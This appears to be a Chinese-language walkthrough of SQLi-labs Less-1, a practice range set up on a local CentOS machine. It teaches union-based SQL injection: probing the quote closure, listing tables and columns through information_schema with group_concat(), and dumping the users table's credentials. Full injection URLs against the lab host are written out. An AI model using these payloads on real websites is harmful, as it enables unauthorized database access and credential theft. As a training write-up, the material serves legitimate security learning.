靶场在centos7中安装配置完成,过程还是比较简单的,就是利用http把下载好的SQL-labs挂在网站上面。
值得注意的是要配置好mysql文件sql-connections中的db-creds.inc
将我们的靶机和使用的机子处于一个网段之中,相互ping通
做好准备工作,开启第一关
这里用的火狐浏览器,插件是hackbar v2
老规矩先传输1试试看
页面有回显点
加入联合语句,查看没有变换,那么已知id=1是正确的,所有后面才有可能不显示,尝试修改让前面的信息报错id=-1,并且判断闭合方式为id=1'
到这个地方,那么只需要掌握了解SQL语句即可得到想得到的信息
id=-1' union select 1,2,3 --+
由于只能显示出2,3只需要修改2,3中的回显点、
那么我们的顺序就是
数据库>数据表>字段>脱库
开始操作我们的步骤
想办法暴库
database()加上我们的联合查询语句即可
id=-1' union select 1,database(),3 --+
得到数据库名称为security
继续操作
类似的语句version()爆出数据库的名称
user()链接数据库的用户名称
@@version_compile_os操作系统的版本
@@datadir mysql存放的路径
接下来是比较难的部分也是重点部分
在mysql中我们会有一个数据库会存储全部的数据库的信息,这个库叫information_schema
MySQL 自带的一个元数据库,这个表的包含了数据库的名称个数等信息。
information_schema 库中 tables 表中
由于记录非常非常多,那么我们需要用 group_concat()函数对多个字段显示在一个结果上。
#####
关于group_concat()的用法:
例如我们的查询语句为:
select table_schma,table_name from information_schema.tables where table_schma=database();
这段语句的作用是查询table_schma=当前数据库名称的,刚才根据SQL注入点报错,我们可以得到database()=security
这时就会爆出如上
当我们使用group_concat(我们需要合成的字段)
例如 select group_concat(table_schema),table_name from information_schema.tables where table_schema='security';
如下
######
这时候我们需要在我们的页面中注入该SQL语句
http://192.168.6.127/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
除此之外
这是另一种注入方式
http://192.168.6.127/sqli-labs-master/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+
这种方式利用的是创建的临时表,将查询的结果当成临时的表再次查询
此处我已经把查询表名设置成a
在获得了数据库名称之后我们来查询表名,表名又有很多种,刚才爆出了emails、referers,uagents,user这些表名,通常我们需要拿到一些敏感数据的时候,我们首先会对user表中的数据感兴趣,先进入user中查看
select table_name,column_name from information_schema.columns where table_schema=database() and table_name='users';
那么我们要注入的时候我们需要爆出column_name即可语句可以修改成
select column_name from information_schema.columns where table_schema=database() and table_name='users';
变成这个
select column_name from information_schema.columns where table_schema=database() and table_name='users';
把全部的信息变成一个字段加上group_concat()
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';
SQL注入之后
查询出users表中的字段
那么可以进行最关键的一部进行账号密码的查询
很轻易的可以列出查询语句
select username,password from users;
加上我们的group_concat()
select group_concat(username,password) from users;
Your Login name:DumbDumb,AngelinaI-kill-you,Dummyp@ssword,securecrappy,stupidstupidity,supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,admin3admin3,dhakkandumbo,admin4admin4
这些即为数据库中的账户和密码
如果爆出的信息太多的话,我们需要利用SQL语句一点点的让他报出来
group_concat(username,password) from (select username,password from users limit 0,2)a;
定义刚才查询的结果为一个表
select group_concat(username,password) from (select username,password from users limit 0,2)a;
SQL注入的查询语句千万别嵌套太多,不然效率非常底下
####
接下来是利用一些html代码进行换行
已知</br>为换行符号
那么可以用十六进制阿斯玛表进行换之后带入
####